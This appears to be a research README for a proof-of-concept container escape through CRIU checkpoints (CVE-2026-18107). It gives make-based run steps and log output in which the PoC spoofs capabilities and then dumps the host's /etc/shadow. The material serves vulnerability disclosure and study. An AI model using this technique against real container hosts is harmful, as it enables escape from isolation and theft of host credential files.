
Universal container escape exploit targeting the CRIU container checkpoint/restore system - CVE-2026-18107
This PoC Demonstrates that unprivileged software running in a container can detect container checkpoints, hide from them, or exploit the checkpoit mechanism itself to achieve arbitrary code execution on the host.
The exploit targets CRIU, and works with all container technologies that depend on CRIU for checkpoints:
This research was presented at the 2026 No Hat cybersecurity conference. The talk is available on Youtube:
The Proof of Concept Exploit is written as a single x86-64 assembly file for the GNU assembler. see: criu_hijack_poc.s
This choice was done for simplicity: The main primitives behind the exploit are an abuse of the Linux restartable sequences
mecahnism, and a man-in-the-middle attack on raw linux syscalls.
Both these concepts require direct manipulation of CPU registers and memory, and cannot be easily expressed in high-level languages like C without introducing unnecessary indirection.
Container checkpoints are mainly performed on Kubernetes, which makes it the most realistic target for a real-world attack. With that said, the underlying vulnerability affects most container runtimes, including Docker. Since Docker is widely available and easier to set up than a Kubernetes cluster, this PoC targets Docker.
This repository includes a Dockerfile and Makefile to run the PoC against Docker. This setup simulates the following attack scenario:
Coincidentally, kubernetes natively supports a feature called forensic checkpoints. The use of this feature on an infected container could be the main trigger for this exploit.
make criu-initmake criu-installmake docker-buildmake docker-runmake docker-logsmake docker-dumpThe PoC will detect the CRIU checkpoint, and will log to stoud
the syscalls that CRIU is injecting into its executable memory.
At the same time, the PoC script will hijack the Checkpoint and
spoof the capabilities, user IDs and group IDs of its own task.
$ make docker-logs
docker logs -f criu-hijack-container
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callback: CRIU infect detected (syscall;int3 at exec-start)
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000401008
000000000000013f
eff=00000000a80425fb
prm=00000000a80425fb
inh=0000000000000000
0000000000000003
make docker-restoremake docker-logsfrom a second terminal, while looking at the logs:
make docker-checkpoint2The PoC will again detect the CRIU checkpoint, but this time
it will also detect that it's running with full capabilities.
It will then call CDK, to
run a well-known container escape exploit which dumps the
host's /etc/shadow to standard output, as a demonstration.
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callback: CRIU infect detected (syscall;int3 at exec-start)
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000401008
000000000000013f
eff=000001ffffffffff
prm=000001ffffffffff
inh=000001ffffffffff
Running with target: /etc/shadow, ref: /etc/hostname
root:!:19276:0:99999:7:::
daemon:*:19213:0:99999:7:::
bin:*:19213:0:99999:7:::
sys:*:19213:0:99999:7:::
sync:*:19213:0:99999:7:::
games:*:19213:0:99999:7:::
man:*:19213:0:99999:7:::
lp:*:19213:0:99999:7:::
mail:*:19213:0:99999:7:::
news:*:19213:0:99999:7:::
uucp:*:19213:0:99999:7:::
al:$y$d2hpbGUgeW91IHdhc3RlZCB0aW1lIGRlY29kaW5nIHRoaXMsIEFJIHRvb2sgeW91ciBqb2IK:19276:0:99999:7:::
fwupd-refresh:*:19297:0:99999:7:::
postgres:*:19525:0:99999:7:::
snapd-range-524288-root:!:20150::::::
snap_daemon:!:20150::::::